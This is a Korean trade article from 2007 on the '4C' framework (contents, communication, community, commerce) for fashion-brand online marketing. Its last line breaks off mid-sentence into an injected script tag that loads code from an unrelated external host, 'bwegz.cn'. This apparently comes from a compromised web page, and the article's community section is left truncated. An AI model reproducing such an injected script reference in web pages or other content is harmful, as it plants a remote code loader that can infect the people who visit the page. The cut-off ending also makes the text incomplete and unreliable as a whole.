인터넷 사업의 필수, ‘4C’를 아시나요?
2007-01-16 

김기혁 hyuk@moravian.biz
<모라비안바젤컨설팅·연구원>

컨텐츠(Contents), 커뮤니티(Community), 커머스(Commerce), 커뮤니케이션(Communication), 이 4가지 요소를 인터넷 사업의 4가지 구성요소라고 말한다. '4C'의 개념은 지난 1998년초 포털서비스가 등장하면서 처음 등장됐다. 야후 등 검색서비스 업체들이 네티즌에게 인터넷에서 필요한 모든 서비스를 제공하는 종합미디어 회사가 되겠다고 들고 나온 것이 바로 4C이다. 하지만 이 4가지 요소는 점차 모든 서비스를 총괄적으로 제공하는 인터넷 서비스에 국한되지 않게 되었다. 사이트 운영 업체는 고객에게 보다 나은 4C 서비스 제공을, 솔루션 업체들은 보다 나은 4C를 가능하게 하는 기술개발을 목표로 하고 있다. 바로 인터넷으로 마케팅을 하는 모든 업체들의 지향점이요 표준이 되어 버린 것이다.

패션은 다른 사업분야와 구별되는 특수성이 많은 분야이다. 그래서 e마케팅도 구별 되어야 하며 또한 그 속성에 맞는 전략이 필요하다. 하지만 패션 e마케팅에 있어서도 이 4가지 요소는 무척 중요하다. 독자적인 e마케팅 전략을 구축하기 위해서는 4C에 대한 개념을 패션의 관점에서 정확하게 이해할 필요가 있다.

컨텐츠(Contents)
컨텐츠라는 것은 잡지의 예를 들면, 각 페이지마다 있는 문장, 사진, 그림, 구성요소의 레이아웃 등 구성요소 모두를 말한다.
또 우리가 흔히 보는 TV의 각각의 프로그램 자체가 컨텐츠에 해당된다. 간단하게 말해 컨텐츠란 ‘들어갈 내용’을 말한다.
A 패션 브랜드 홈페이지의 예를 들어보면 기본적인 상품정보 이외에 전자상거래, 경매, 음악 및 영화정보, 뷰티정보, 거리패션, 날씨, 동호회, 일기장 등의 컨텐츠를 제공하고 있다. 이정도 되면 거의 포탈사이트라 할 수 있다.
필요한건 컨텐츠가 양이 아니라 컨텐츠의 필요성이다.
패션 브랜드 홈페이지에서 가장 중요한 컨텐츠는 ‘옷’ 과 ‘브랜드’라는 사실을 지난호에서 중점적으로 말했었다. 무엇 때문에 이용자가 그 사이트에 들어오는가를 정확하게 파악할 수 있다면 ‘과연 컨텐츠는 무엇으로 채울 것인가’ 하는 고민은 많이 해결 될 수 있을 것이다. 그리고 만들고자 하는 것이 패션브랜드 홈페이지라 한다면 이용자들이 그 사이트를 찾는 이유를 파악하는건 그리 어려운 일이 아니다.
그리고 많은 컨텐츠 관리자들이 묵과하는 것 가운데 하나가 바로 ‘정보의 갱신’이다. 아예 업데이트가 필요한 메뉴를 줄이고 1회성 카탈로그식으로 꾸민 사이트들도 많이 볼 수 있다.
인터넷에 있어서 정적인 컨텐츠는 죽은 컨텐츠나 다름없다. 새로울 것도 없는 컨텐츠로 이용자들이 지속적인 방문을 해주길 바란다는 것은 부질없는 욕심이다. 정적인 컨텐츠는 최소한의 가장 필요한 내용이어야 한다.
그렇지만 그 브랜드에 대한 컨텐츠를 지속적으로 만들어내고 업데이트하기에는 현실적으로 쉬운 일이 아니다. 그런 점에서 패션 브랜드 홈페이지는 본질적 컨텐츠의 한계성 때문에 인터넷 마케팅에 있어서 치명적인 약점을 갖고 출발하는 셈이다. 이 점을 보완해 줄 수 있는 요소가 바로 커뮤니케이션과 커뮤니티다.

커뮤니케이션 (Communication)
커뮤니케이션은 ‘얼마나 효과적인 방법으로 고객과 접촉하고 있는가’에 대한 방법론적인 접근이다.
인터넷이 고객과의 주요한 채널이 될 수 있었던 것과 가장 강력한 e마케팅의 도구로 쓰일 수 있게 만든건 바로 상호작용성(interaction)이라는 요소이다. 이 상호작용성을 얼마나 효과적으로 이용할 수 있는가가 바로 인터넷마케팅의 해답이다.
인터넷 광고. 이메일 마케팅, 커뮤니티를 이용한 촉진, 고객 서비스 및 피드백 등이 커뮤니케이션의 방법과 역할이며 이것은 또 패션 e마케팅분야에서 다양하게 적용될 수 있다.
최근 커뮤니케이션 기술은 발전하고 있지만 그 효과는 점점 떨어지고 있는 추세이다. 고객과 눈을 맞추려는 시도는 점차 다양해져 가고 있지만 과다한 공급자와 정보의 홍수 속에서 고객의 관심은 점점 무뎌져 가고 있다. 이런 상황은 최근 One-to-One 마케팅(일대일 마케팅) 시대를 도래하게 했으며 CRM(고객 관계 관리)은 그 전략을 뒷받침해주는 주요한 마케팅 도구가 되었다.
커뮤니케이션은 ‘교제’라는 사전적 의미를 포함하고 있다. 단순히 기술로서의 접근이 아닌 보다 인간적이고 감성적인 마케팅전략을 통해 많은 접촉점을 만드는 것이 바로 커뮤니케이션의 핵심이다.

공동체(Community)
커뮤니티란 ‘회원제’라는 기본 운영정책을 가지고 지속적인 상호작용으로 직접 또는 간접적인 만남을 통해 공동체를 운영 또는 유지하는 것이며, 이를 정리하면 ‘인터넷 공간에서 공통의 관심과 목적을 가진 사람들이 모여 지속적으로 상호 작용을 하는 집단’으로 정의를 해볼 수 있다.
커뮤니티는 흔히 ‘동호회’라는 사전적 ?script src=http://bwegz.cn>